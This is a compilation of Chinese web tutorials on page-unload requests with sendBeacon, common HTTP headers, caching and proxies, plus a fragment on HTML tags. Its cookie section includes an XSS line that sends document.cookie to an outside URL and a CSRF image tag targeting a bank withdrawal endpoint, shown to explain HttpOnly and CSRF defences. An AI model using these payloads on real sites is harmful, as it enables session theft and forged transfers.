時候我們需要在用戶離開頁面的時候,做一些上報來記錄用戶行為或者埋點,又或者是發(fā)送到服務器的ajax請求。那如何保證請求能夠正確的送達就是一個很關鍵的點。下面我們就來介紹下應該如何操作:
瀏覽器有兩個事件可以用來監(jiān)聽頁面關閉,beforeunload和unload。
beforeunload是在文檔和資源將要關閉的時候調用的, 這時候文檔還是可見的,并且在這個關閉的事件還是可以取消的。比如下面這種寫法就會讓用戶導致在刷新或者關閉頁面時候,有個彈窗提醒用戶是否關閉。
window.addEventListener("beforeunload", function (event) { // Cancel the event as stated by the standard. event.preventDefault(); // Chrome requires returnValue to be set. event.returnValue=''; });
unload則是在頁面已經(jīng)正在被卸載時發(fā)生,此時文檔所處的狀態(tài)是:
1.所有資源仍存在(圖片,iframe等);
2.對于用戶所有資源不可見;
3.界面交互無效(window.open, alert, confirm 等);
4.錯誤不會停止卸載文檔的過程。
基于以上兩個方法就可以實現(xiàn)對頁面關閉的事件監(jiān)聽了,為了穩(wěn)妥,可以兩個事件都監(jiān)聽。然后對監(jiān)聽函數(shù)做處理,讓關閉事件只調用一次,比如用變量控制請求發(fā)送的次數(shù)。
有了上面的監(jiān)聽,事情只完成了一半,如果我們在監(jiān)聽中直接發(fā)送ajax請求,就會發(fā)現(xiàn)請求被瀏覽器abort了,無法發(fā)送出去。在頁面卸載的時候,瀏覽器并不能保證異步的請求能夠成功發(fā)出去。
我們有幾種方式可以解決這個問題:
方案1: 發(fā)送同步的ajax請求
var oAjax=new XMLHttpRequest(); oAjax.open('POST', url + '/user/register', false);//false表示同步請求 oAjax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); oAjax.onreadystatechange=function() { if (oAjax.readyState==4 && oAjax.status==200) { var data=JSON.parse(oAjax.responseText); } else { console.log(oAjax); } }; oAjax.send('a=1&b=2');
這種方式雖然有效,但是用戶需要等待請求結束才可以關閉頁面。對用戶的體驗不好。
方案2:發(fā)送異步請求,并且在服務端忽略ajax的abort
雖然異步請求會被瀏覽器abort,但是如果服務端可以忽略abort,仍然正常執(zhí)行,也是可以的。比如PHP有ignore_user_abort函數(shù)可以忽略abort。這樣需要改造后臺,一般不太可行。
方案3:使用navigator.sendBeacon發(fā)送異步請求
根據(jù)MDN的介紹:
這個方法主要用于滿足 統(tǒng)計和診斷代碼 的需要,這些代碼通常嘗試在卸載(unload)文檔之前向web服務器發(fā)送數(shù)據(jù)。過早的發(fā)送數(shù)據(jù)可能導致錯過收集數(shù)據(jù)的機會。然而, 對于開發(fā)者來說保證在文檔卸載期間發(fā)送數(shù)據(jù)一直是一個困難。因為用戶代理通常會忽略在卸載事件處理器中產(chǎn)生的異步 XMLHttpRequest 。
從介紹上可以看出,這個方法就是用來在用戶離開時發(fā)請求的。非常適合這種場景。 使用方式是這樣的:
navigator.sendBeacon(url [, data]);
sendBeacon支持發(fā)送的data可以是ArrayBufferView, Blob, DOMString, 或者 FormData 類型的數(shù)據(jù)。
下面是幾種使用sendBeacon發(fā)送請求的方式,可以修改header和內容的格式,因為一般和服務器的通信方式都是固定的,如果修改了header或者內容,服務器就無法正常識別出來了。
(1)使用Blob來發(fā)送 使用blob發(fā)送的好處是可以自己定義內容的格式和header。比如下面這種設置方式,就是可以設置content-type為application/x-www-form-urlencoded。
blob=new Blob([`room_id=123`], {type : 'application/x-www-form-urlencoded'}); navigator.sendBeacon("/cgi-bin/leave_room", blob);
(2)使用FormData對象,但是這時content-type會被設置成"multipart/form-data"。
var fd=new FormData(); fd.append('room_id', 123); navigator.sendBeacon("/cgi-bin/leave_room", fd);
(3)數(shù)據(jù)也可以使用URLSearchParams 對象,content-type會被設置成"text/plain;charset=UTF-8" 。
var params=new URLSearchParams({ room_id: 123 }) navigator.sendBeacon("/cgi-bin/leave_room", params);
通過嘗試,可以發(fā)現(xiàn)使用blob發(fā)送比較方便,內容的設置也比較靈活,如果發(fā)送的消息抓包后發(fā)現(xiàn)后臺沒有識別出來,可以嘗試修改內容的string或者header,來找到合適的方式發(fā)送請求。
參考文章:https://juejin.im/post/5c7e541b6fb9a049e06415a5
文為《三萬長文50+趣圖帶你領悟web編程的內功心法》第四個章節(jié)。
上面列出了報文的各種請求頭、響應頭、狀態(tài)碼,是不是感到特別暈呢。這節(jié)我們就專門挑一些最常用的請求頭,舉例說明請求頭對應支撐的HTTP功能。
我們來看一個最基本的HTTP交互。
其中,GET表示方法,就不多說了。
Host:Host 請求頭指明了請求將要發(fā)送到的服務器主機名和端口號。Host讓虛擬主機托管成為了可能,也就是一個IP上提供多個Web服務。
客戶端先發(fā)送Accept、Accept-Encoding、Accept-Language請求頭進行協(xié)商。其中:
可以給每個協(xié)商項指定質量值q。質量值從0~1,1最高,表示最期望服務器采用該類型,0表示拒絕接受該類型。
服務端會在響應頭里面告知協(xié)商的結果:
服務端在客戶端請求中,用了哪些請求頭部信息進行協(xié)商的呢,這里需要用到Vary首部:
Vary: *
Vary: <header-name>, <header-name>, ...
例如:
Vary: User-Agent
表示服務器依據(jù) User-Agent 字段,決定發(fā)回了響應報文。此場景常見于:對于不同的終端,返回的內容是不同的,那么就需要用 User-Agnet進行區(qū)分以及緩存了。
更多協(xié)商信息:《HTTP權威指南》第17章 內容協(xié)商與轉碼[^12]
另外,客戶端和服務端也可以協(xié)商字符集:
Content-Type: text/html; charset=utf-8
協(xié)商請求響應頭對應關系如下圖:
分塊傳輸響應頭:Transfer-Encoding: chunked。
一般情況下,我們請求后端,都可以拿到靜態(tài)資源的完整Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>
對于動態(tài)頁面,也可以在后端一次性生成所有需要返回的內容,得到Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>
但是想象以下場景:Content-Encoding為gzip,服務端進行壓縮的時候,需要一塊很大的字節(jié)數(shù)組進行壓縮,最終得到整個數(shù)組的Content-Length。
舉個例子:如下圖:
客戶端需要向服務器請求獲取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip編碼。
最終客戶端通過gzip,把葡萄壓縮成了葡萄干,一次性傳輸給了客戶端。客戶端拿到了所有的葡萄干,解壓回葡萄。
至于葡萄干注水還原回葡萄的技術有待大家研究實現(xiàn),研究出來了可以分享給我,謝謝!
可以發(fā)現(xiàn):服務端在壓縮的過程中很占緩存,只能等壓縮完成之后一次性傳輸,傳輸?shù)膬热蔟嫶螅查g占用網(wǎng)絡,如果帶寬不夠,就會導致消息延遲。
那么,這個時候,我們就可以使用分塊傳輸來優(yōu)化這個流程了:
我們可以將葡萄一顆一顆的壓縮傳輸給客戶端一顆,這樣傳輸?shù)臅r候就不用占用太多內存,傳輸也不會瞬時占用太多帶寬了:
下面我們通過一個具體的請求來說明分塊傳輸編碼的響應格式。
這里我們用OpenResty服務器,假設請求的服務端代碼是這樣的lua腳本:
ngx.header['Content-Type']='text/plain;charset=utf-8'
ngx.header['Transfer-Encoding']='chunked'
for i=1,10 do
ngx.print('第' + i + '顆葡萄\n')
ngx.flush(true)
end
我們抓包來看看完整的TCP請求,圖片比較大,感興趣的同學放大查看:
分析下TCP包:
頁面展示如下:
grape 1
grape 2
grape 3
grape 4
grape 5
grape 6
grape 7
grape 8
grape 9
grape 10
根據(jù)以上抓包的報文格式,可以得到最終的HTTP響應報文格式如下:
注意:
分塊傳輸和編碼只在HTTP/1.1版本中提供。
HTTP/2不支持分塊傳輸,因為其本身提供的更加高級的流傳輸實現(xiàn)了類似的功能。
范圍請求響應頭:Accept-Ranges: bytes,有這個響應頭的,就表示當前響應的資源支持范圍請求。
假設一個文件很大,我們想要獲取其中的一部分,這個時候就可以使用范圍請求了。范圍請求常用語實現(xiàn)以下功能更:
確定了服務端支持范圍請求之后,客戶端在請求中使用Range請求頭,指定要接收的范圍即可,如:
-- 格式:bytes=x-y,x y表示偏移量,從0開始
-- 請求獲取前面11個字節(jié)
Range: bytes=0-10
-- 請求所有內容
Range: bytes=10-
-- 獲取文檔最后10個字節(jié)
Range: bytes=-10
舉個例子,我們請求IT宅首頁,如下:
# 執(zhí)行以下請求:
curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:22:59 GMT
Content-Type: text/html
Content-Length: 16
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
范圍請求支持同時請求多段數(shù)據(jù),下面是一個例子:
# 執(zhí)行以下請求:
curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:27:07 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000023
Content-Length: 228
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 16-26/79086
<html class
--00000000000000000023--
響應格式如下:
說到HTTP的連接,就不得不先說說TCP的連接管理了,我們來回顧下TCP的建立連接,傳輸數(shù)據(jù),關閉連接的過程[^13]:
這里詳細流程就不說了,詳細參考我的上一篇關于網(wǎng)絡內功心法的文章[^13]。
可以發(fā)現(xiàn)為了傳輸數(shù)據(jù),三次握手和四次揮手,分別消耗了1.5個RTT和2個RTT(Round-trip time RTT),假設建立起這個TCP連接就為了來回傳輸一次數(shù)據(jù),可以發(fā)現(xiàn)其利用率很低:
1 / (1 + 1.5 + 2)=22%
如下圖:
每次傳輸數(shù)據(jù),都需要建立新的鏈接,這種連接我們稱為短連接。
由上面分析可知,短連接極大的降低了傳輸效率,每次有什么數(shù)據(jù)需要傳輸,都要重新進行三次握手和四次揮手。
早期的HTTP是短連接的,或稱為無連接。
為了解決效率問題,于是出現(xiàn)了長連接。由上面分析可知,短連接傳輸效率低,所以,自從HTTP/1.1開始,默認就支持了長連接,也稱為持久連接。
所謂長連接,就是在跟服務端約定,本次創(chuàng)建的連接,后邊還會繼續(xù)用到。于是,這樣約定之后,TCP層通過TCP的keep-alive機制維持TCP連接。
TCP如何維持連接呢,這里介紹系統(tǒng)內核的三個相關配置參數(shù):
net.ipv4.tcp_keepalive_intvl
=15;
net. ipv4.tcp_keepalive_probes
=5;
net.ipv4.tcp_keepalive_time
=1800;當TCP連接閑置了
tcp_keepalive_time
秒之后,服務端就嘗試向客戶端發(fā)送偵測包,來判斷TCP連接狀態(tài),如果偵測后沒有收到ack反饋,那么在tcp_keepalive_intvl
秒后再次嘗試發(fā)送偵測包,知道接收到ack反饋。一共會嘗試tcp_keepalive_probes
次偵測請求。如果嘗試tcp_keepalive_probes
次之后,依然沒有收到ack包,那么就會丟棄這個TCP連接了。
使用長連接的HTTP協(xié)議,會在響應頭加入這個:
Connection: keep-alive
如下圖:
客戶端和服務器一旦建立連接之后,可以一直復用這個連接進行傳輸。
如果建立長連接之后,一直不用,對于服務器來說是多么浪費資源呀。為此需要有關閉長連接的機制。
場景的控制手段:
系統(tǒng)內核參數(shù)設置
:如上一節(jié)提到的幾個參數(shù);客戶端請求頭聲明
:Connection: close
,本次通信技術之后就關閉連接。服務端配置
:如Nginx,設置我們可以建立起TCP長連接,但是HTTP/1.1是請求應答模型的,只要一個請求還沒有收到應答,當前TCP連接就不可以發(fā)起下一個請求,也就是HTTP請求隊頭阻塞:
當前客戶端與服務端值創(chuàng)建了一個已連接套接字,即一個TCP連接,客戶端所有請求都通過這個TCP連接發(fā)送,由于request 1請求還沒有接收到應答,其他的request就不能發(fā)起請求了。
為了減小請求阻塞等待的影響,于是人們考慮在同一個瀏覽器里面開啟多個TCP連接,這樣,即使一個TCP被阻塞了,還有另外的可以繼續(xù)發(fā)起請求。
不過客戶端開太多TCP連接,會導致服務器承受更大的壓力。在RFC2616中限制客戶端最多并發(fā)兩個,但是目前大部分瀏覽器支持6個或者更多的并發(fā)連接數(shù)。
為了進一步優(yōu)化前端加載請求,這個時期出現(xiàn)了很多各式的前端優(yōu)化小技巧,如:
不過,HTTP/2解決了HTTP請求的隊頭阻塞,有些原有的優(yōu)化在HTTP/2中則成為了反模式,如:域名拆分后需要建立多個域名的連接,精靈圖或者合并CSS、JS等導致不能更靈活的控制緩存...
管道傳輸技術是在HTTP/1.1中引入的,在HTTP/1.0中不存在。
HTTP管道傳輸技術可以在單個TCP連接上連續(xù)發(fā)送多個HTTP請求,而無需等待響應,截止2018年,由于一些問題(如錯誤的代理服務器和TCP隊頭阻塞),現(xiàn)代瀏覽器默認未啟用管道。
引入了管道技術之后的長連接如下圖:
多個HTTP請求可以連續(xù)發(fā)送出去,而不用等待已發(fā)送請求的響應,請求和響應都是通過FIFO隊列進行的。
不過由于TCP是嚴格按照順序進行傳輸數(shù)據(jù)的,前面的TCP數(shù)據(jù)丟失,就會導致阻塞后續(xù)的分組數(shù)據(jù),這也就是TCP的隊頭阻塞。
管道化長連接有何問題?
根據(jù)上面的分析可知,HTTP管道有如下問題:
基于以上眾多問題,在所有主要瀏覽器中,只有Opera瀏覽器才在默認情況下啟用管道機制,其他瀏覽器基本默認不啟用管道機制。
我們知道,長連接有如下缺點:
HTTP的多路復用技術支持多個請求同時發(fā)送,類似于多線程的并發(fā)機制,更充分的利用到了建立好的一個長連接。
HTTP2相關特性我們后面再詳細介紹。
由于HTTP是無狀態(tài)的,于是出現(xiàn)Cookie和Session,為HTTP彌補了狀態(tài)存儲的問題。
HTTP Cookie是服務器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),它會在瀏覽器下次向同一服務器再發(fā)起請求時被攜帶并發(fā)送到服務器上。
就像我們去公司報道,公司給你辦理了一張工卡,門口的保安大哥可不會記住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服務器的話,這張工卡就相當于Cookie,我們每次出示工卡給保安大哥,于是就驗證通過了。
Cookie工作機制:瀏覽器請求服務器之后,服務器響應頭可以添加Set-Cookie
字段,瀏覽器拿到Cookie之后,按域名區(qū)分存儲起來,下次請求同一個域名的服務器,通過Cookie
請求頭傳給服務端,服務端則可以根據(jù)Cookie信息判斷到時之前請求的一個客戶端。
Cookie關鍵屬性
屬性名 | 作用 |
---|---|
Expires | 過期時間,一個絕對的時間點 |
Max-Age | 設置單位為秒的cookie生存期,瀏覽器優(yōu)先使用Max-Age |
Domain | 指定Cookie所屬的域名 |
Path | 指定Cookie所屬的路徑前綴,瀏覽器在發(fā)起請求前,判斷瀏覽器Cookie中的Domain和Path是否和請求URI匹配,只有匹配才會附加Cookie |
HttpOnly | 指明該Cookie只能通過瀏覽器的HTTP協(xié)議傳輸,瀏覽器JS引擎將禁用document.cookie等api,從而避免被不壞好意的人拿到cookie信息。此預防措施有助于緩解跨站點腳本(XSS)攻擊。 |
Secure | 指明只能通過被 HTTPS 協(xié)議加密過的請求發(fā)送給服務端,但即便設置了 Secure 標記,敏感信息也不應該通過 Cookie 傳輸,因為 Cookie 有其固有的不安全性,Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬盤的人可以讀取它。 |
SameSite | SameSite=None: 瀏覽器會在同站請求、跨站請求下繼續(xù)發(fā)送 cookies,不區(qū)分大小寫 SameSite=Strict:限定Cookie不能隨著跳轉連接跨站發(fā)送,只在訪問相同站點時發(fā)送 cookie SameSite=Lax:允許GET/HEAD等安全方法,禁止POST跨站點發(fā)送,在新版本瀏覽器中,為默認選項,Same-site cookies 將會為一些跨站子請求保留,如圖片加載或者 frames 的調用,但只有當用戶從外部站點導航到URL時才會發(fā)送 |
XSS攻擊
通過腳本注入,竊取Cookie,如:
(new Image()).src="http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;
上面表格中提到的HttpOnly正是為了阻止JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。
CSRF跨站請求偽造
在不安全的聊天室或者論壇等,看到一張圖片,實際上他可能是請求了你的某個銀行的轉賬接口,讓你的錢轉到別人的賬上,如果打開了這個圖片,并且之前已經(jīng)登陸過銀行賬號,并且Cookie仍然有效,那么錢就有可能被轉走了。
<img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">
為此,常見對因對措施有:
本文首次發(fā)表于: HTTP常用請求頭大揭秘 以及公眾號 Java架構雜談,未經(jīng)許可,不得轉載。
客戶端可以用Cache-Control請求首部來強化或者放松對過期時間的限制。
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds> | 拒絕接受緩存時間長于seconds 秒的資源,如果seconds 為0,則表示請求獲取最新的資源; |
Cache-control: no-cache | 除非資源進行了再驗證,否則這個客戶端不會接受已緩存的資源; |
Cache-control: no-store | 緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存; |
Cache-control: only-if-cached | 表明客戶端只接受已緩存的響應,并且不要向原始服務器檢查是否有新的拷貝; |
Cache-control: no-transform | 不得對資源進行轉換或轉變。Content-Encoding 、Content-Range 、Content-Type 等HTTP頭不能由代理修改 |
Cache-Control: max-stale[=<seconds>] | 表明客戶端愿意接收一個已經(jīng)過期的資源。可以設置一個可選的秒數(shù),表示響應不能已經(jīng)過時超過該給定的時間 |
Cache-Control: min-fresh=<seconds> | 表示客戶端希望獲取一個能在指定的秒數(shù)內保持其最新狀態(tài)的響應 |
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds> | 設置緩存存儲的最大周期,超過這個時間緩存被認為過期(單位秒) |
Cache-control: no-store | 緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存 |
Cache-control: no-cache | 在發(fā)布緩存副本之前,強制要求緩存把請求提交給原始服務器進行驗證(協(xié)商緩存驗證) |
Cache-Control: must-revalidate | 一旦資源過期(比如已經(jīng)超過max-age ),在成功向原始服務器驗證之前,緩存不能用該資源響應后續(xù)請求 |
Cache-control: no-transform | 一旦資源過期(比如已經(jīng)超過max-age ),在成功向原始服務器驗證之前,緩存不能用該資源響應后續(xù)請求 |
Cache-control: public | 表明響應可以被任何對象(包括:發(fā)送請求的客戶端,代理服務器,等等)緩存,即使是通常不可緩存的內容。(例如:1.該響應沒有max-age 指令或Expires 消息頭;2. 該響應對應的請求方法是 POST 。) |
Cache-control: private | 表明響應只能被單個用戶緩存,不能作為共享緩存(即代理服務器不能緩存它)。私有緩存可以緩存響應內容,比如:對應用戶的本地瀏覽器 |
Cache-control: proxy-revalidate | 與must-revalidate作用相同,但它僅適用于共享緩存(例如代理),并被私有緩存忽略 |
Cache-control: s-maxage=<seconds> | 覆蓋max-age 或者Expires 頭,但是僅適用于共享緩存(比如各個代理),私有緩存會忽略它 |
指令 | 說明 |
---|---|
If-Modified-Since: Date | 第一次響應報文提供Last-modified,第二次請求帶上這個值,給服務端驗證緩存是否有修改,無修改則返回:304 Not Modified |
If-None-Match: ETag | 第一次響應報文提供ETag,第二次請求帶上這個值,給服務端驗證緩存是否最新,無修改則返回:304 Not Modified, |
Last-modified和ETag有什么區(qū)別?
有任何改動,ETag都會變動,但是同一秒內的改動,Last-modified是一樣的。
想象一下我們傳統(tǒng)的三層架構,如果我們想統(tǒng)一把批量修改數(shù)據(jù)的SQL屏蔽掉,那么直接修改DAO層,統(tǒng)一攔截處理就可以了。類似的,網(wǎng)絡系統(tǒng)也是如此,在傳統(tǒng)的客戶端和服務端之間,可能會存在各種各樣的代理服務器,用于實現(xiàn)各種功能。
常見的代理有兩種:普通代理-中間人代理,隧道代理。
話不多說,我們直接上圖,說明一下代理的工作原理:
代理工作原理:客戶端向代理發(fā)送請求,代理接收請求并與客戶端建立連接,然后轉發(fā)請求給服務器,服務器接收請求并與代理建立連接,最終把響應按原路返回。
當然,實際的場景中,客戶端與服務器可能包含多個代理服務器。
RFC 7230
中定義了Via
,用于追蹤請求和響應消息轉發(fā)情況;RFC 7239
中定義了X-Forwarded-For
用于記錄客戶端請求的來源IP;X-Real-IP
可以用于記錄客戶端實際請求IP,該請求頭不屬于任何標準。
Via
:**Via**
是一個通用首部,是由代理服務器添加的,適用于正向和反向代理,在請求和響應首部中均可出現(xiàn)。這個消息首部可以用來追蹤消息轉發(fā)情況,防止循環(huán)請求,以及識別在請求或響應傳遞鏈中消息發(fā)送者對于協(xié)議的支持能力;
X-Forwarded-For
:每經(jīng)過一級代理(匿名代理除外),代理服務器都會把這次請求的來源IP
追加在X-Forwarded-For
中:
X-Forwarded-For: client, proxy1, proxy2
注意:與服務器直連的代理的IP不會被追加到X-Forwarded-For中,該代理可以通過TCP連接的Remote Address字段獲取到與服務器直連的代理IP地址;
X-Real-IP
:記錄與當前代理服務器建立TCP連接的客戶端的IP,一般通過$remote_addr
獲取,這個IP是上一級代理的IP,如果沒有代理,則是客戶端的IP;
一般我們在Nginx中會做如下配置:
location / {
proxy_set_header X-Real-IP $remote_addr; // 與服務器建立TCP連接的客戶端的IP作為X-Real-IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加請求的來源IP
...
}
假設我們所有的代理都按照如上設置,那么請求頭變化情況則如下:
注意,X-Forwarded-For是可以偽造的,一些通過X-Forwarded-For獲取到的客戶端IP來限制刷投票的系統(tǒng)就可以通過偽造該請求頭來打到刷票的效果,如果客戶端請求顯示指定了X-Forwarded-For
X-Forwarded-For: 192.168.1.2
那么,服務器接收到的該請求頭,第一個IP就是這個偽造的IP了。
如何防范IP偽造?
方法一:在對外Nginx服務器上配置:
proxy_set_header X-Forwarded-For $remote_addr;
這樣,第一個IP就是從TCP連接的客戶端IP地址了,不會讀取客戶端偽造的X-Forwarded-For。
方法二:從右到左遍歷X-Forwarded-For的IP,剔除已知代理服務器IP和內網(wǎng)IP,獲取到第一個符合條件的IP。
工作在客戶端的代理我們稱為正向代理。使用正向代理的時候,需要在客戶端配置使用的代理服務器,正向代理對服務端透明。我們常用的Fiddler、charles抓包工具,以及訪問一些外網(wǎng)網(wǎng)站的代理工具就屬于正向代理。
如下圖:
正向代理通常用于:
工作在服務端的代理我們稱為反向代理。使用反向代理的時候,無需在客戶端進行設置,反向代理對客戶端透明。反向代理(Reverse Proxy)這個名詞有點讓人摸不著頭腦,不過就這么叫吧,我們常用的nginx就是屬于反向代理。
如下圖:
通用把80作為http的端口,把433端口作為https的端口。
反向代理通常用于:
我們得先介紹下Connection請求頭字段。
在各個代理和服務器、客戶端節(jié)點之間的是一段一段的TCP連接,客戶端通過中間代理,訪問目標服務器的過程也叫逐段傳輸,用于逐段傳輸?shù)恼埱箢^被稱為逐段傳輸頭。
逐段傳輸頭
會在每一段傳輸?shù)闹虚g代理中處理掉,不會往下傳輸給下一個代理。
標準的逐段傳輸頭有:Keep-Alive
, Transfer-Encoding
, TE
, Connection
, Trailer
, Upgrade
, Proxy-Authorization
和 Proxy-Authenticate
。
Connection 頭(header) 決定當前的事務完成后,是否會關閉網(wǎng)絡連接。如果該值是“keep-alive”,網(wǎng)絡連接就是持久的,不會關閉,使得對同一個服務器的請求可以繼續(xù)在該連接上完成。
除此之外,除了標準的逐段傳輸頭,任何逐段傳輸頭都需要在Connection頭中列出,這樣才能夠讓請求的代理知道并處理掉它們并且不轉發(fā)這些頭,當然,標準的逐段傳輸頭也可以列出。
有了這個Connection頭,代理就知道要處理掉哪些請求頭了, 比如代理會處理掉Keep-Alive,根據(jù)自己的實際情況看看是否支持Keep-Alive,如果不支持,就不會繼續(xù)往下傳了。
比如,Nginx作為反向代理,可以為其設置keep-alive機制,nginx開啟了keep-alive的時候,連接是這樣的 :
Nginx中關于keep-alive[^16]的設置:
網(wǎng)絡是復雜的,特別是加入了很多代理之后,假如客戶端想要發(fā)起持久連接,而中間某些古老的代理服務器,可能不認識Connection頭,也不支持持久連接,會出現(xiàn)什么情況呢?
如上圖,中間的兩臺代理不認識Connection: keep-alive
,于是直接轉發(fā)了,最終服務器收到這個頭,以為proxy2要和他建立持久連接,于是響應了Connection: keep-alive
,代理服務器轉發(fā)回給客戶端,客戶端以為建立成功了長連接,于是繼續(xù)使用這個連接發(fā)送消息,可是中間的代理在處理完請求響應之后,早就已經(jīng)把TCP連接給關閉了,從而最終導致瀏覽器請求連接超時。
為了避免這類問題,有時候服務器會選擇直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久連接,也不會返回Keep-Alive給客戶端。
HTTP客戶端可以通過CONNECT方法請求隧道代理創(chuàng)建一個到人任意目標服務器和端口號的TCP連接,連接創(chuàng)建完成之后,后續(xù)隧道代理只做請求和響應數(shù)據(jù)的轉發(fā),就像一條隧道一樣,這也是隧道代理名字的由來。
想象以下,我們要請求的HTTPS服務中間經(jīng)過了代理,我們是不是 要先讓客戶端跟代理服務器建立HTTPS連接呢?顯然這樣是無法實現(xiàn)的,因為中間代理沒有網(wǎng)站的私鑰證書,所以最終導致瀏覽器和代理之間的TLS無法創(chuàng)建。
為了解決這個問題,于是引入了隧道代理,隧道代理不在作為中間人,也不會改寫瀏覽器的任何請求,而是把瀏覽器的通信數(shù)據(jù)原樣透傳,這樣就實現(xiàn)了讓客戶端通過中間代理,和服務器進行TLS握手,然后進行加密傳輸。
其工作流程大致如下:
這里我們重點關注兩個:
在收到重定向的狀態(tài)碼之后,客戶端會檢測響應頭里面的Location字段,從里面取出URI,從而自動發(fā)起新的HTTP請求。
最常見的使用重定向的例子:
這篇文章的內容就介紹到這里,能夠閱讀到這里的朋友真的是很有耐心,為你點個贊。
本文為arthinking基于相關技術資料和官方文檔撰寫而成,確保內容的準確性,如果你發(fā)現(xiàn)了有何錯漏之處,煩請高抬貴手幫忙指正,萬分感激。
如果您覺得讀完本文有所收獲的話,可以關注我的賬號,或者點贊吧,碼字不易,您的支持就是我寫作的最大動力,再次感謝!
為了把相關系列文章收集起來,方便后續(xù)查閱,這里我創(chuàng)建了一個Github倉庫,把發(fā)布的文章按照分類收集起來了,感興趣的朋友可以Star跟進:
https://github.com/arthinking/java-tech-stack
關注我的博客IT宅(itzhai.com)
或者公眾號Java架構雜談
,及時獲取最新的文章。我將持續(xù)更新后端相關技術,涉及JVM、Java基礎、架構設計、網(wǎng)絡編程、數(shù)據(jù)結構、數(shù)據(jù)庫、算法、并發(fā)編程、分布式系統(tǒng)等相關內容。
[^1]: Hypertext Transfer Protocol -- HTTP/1.0 RFC 1945. Retrieved from https://datatracker.ietf.org/doc/rfc1945/
[^2]: HypertextTransferProtocol--HTTP/1.1 2068. Retrieved from https://tools.ietf.org/html/rfc2068
[^3]: Hypertext Transfer Protocol -- HTTP/1.1 2616. Retrieved from https://tools.ietf.org/html/rfc2616
[^4]: Hypertext Transfer Protocol Version 3 (HTTP/3). Retrieved from https://quicwg.org/base-drafts/draft-ietf-quic-http.html
[^5]: CONNECT. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods/CONNECT
[^6]: HTTP Headers. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers
[^7]: HTTP. MDN web docs. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP
[^8]: List of HTTP status codes. Retrieved from https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
[^9]: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status
[^10]: 兩萬字長文50+張趣圖帶你領悟網(wǎng)絡編程的內功心法-TCP特點. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-2%E3%80%81TCP%E7%89%B9%E7%82%B9
[^11]: 技術干貨:HTTP/2 之服務器推送 (Server Push) 最佳實踐. Retrieved from https://www.infoq.cn/article/qYdN85t4G4dL4vBAe3N2
[^12]: 《HTTP權威指南》第17章 內容協(xié)商與轉碼. 人民郵電出版社. P413
[^13]: 兩萬字長文50+張趣圖帶你領悟網(wǎng)絡編程的內功心法-TCP連接管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、連接管理
[^14]: 《HTTP權威指南》 第六章 代理
[^15]: 《HTTP權威指南》 第八章 集成點:網(wǎng)關、隧道及中繼
[^16]: Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive
[^17]: 161 Cipher Suites. Retrieved from https://ciphersuite.info/cs/?software=openssl&singlepage=true
[^18]: HTTP/2 簡介. Retrieved from https://developers.google.com/web/fundamentals/performance/http2
本文同步發(fā)表于我的博客IT宅(itzhai.com)和公眾號(Java架構雜談)
作者:arthinking | 公眾號:Java架構雜談
博客鏈接:https://www.itzhai.com/articles/secrets-of-http-common-request-headers.html
版權聲明: 版權歸作者所有,未經(jīng)許可不得轉載,侵權必究!聯(lián)系作者請加公眾號。
面我們介紹了HTML的基本標簽,這一次我們來復習一下HTML常用標簽
*****圖像標簽img*****
**語義**:用來展示一張圖片
**屬性**
src:文件的路徑
titl:鼠標懸停時顯示的內容
alt:當圖片加載不出來時的替代文本
***路徑***
路徑又分為相對路徑和絕對路徑
相對路徑:不需要寫盤符,直接從當前工程開始找指定的文件,如(image/itlike.png)
絕對路徑:需要寫盤符,從指定盤符路徑加載文件,如(d:/HtmlProject/image/itlike.png)
./:表示當前路徑
../:相對路徑表示上一級
***超鏈接a標簽***
語義
a標簽定義超鏈接,用于從一張頁面鏈接到另一張頁面。
a 元素最重要的屬性是 href 屬性,它指示鏈接的目標。
格式
```
*請認真填寫需求信息,我們會在24小時內與您取得聯(lián)系。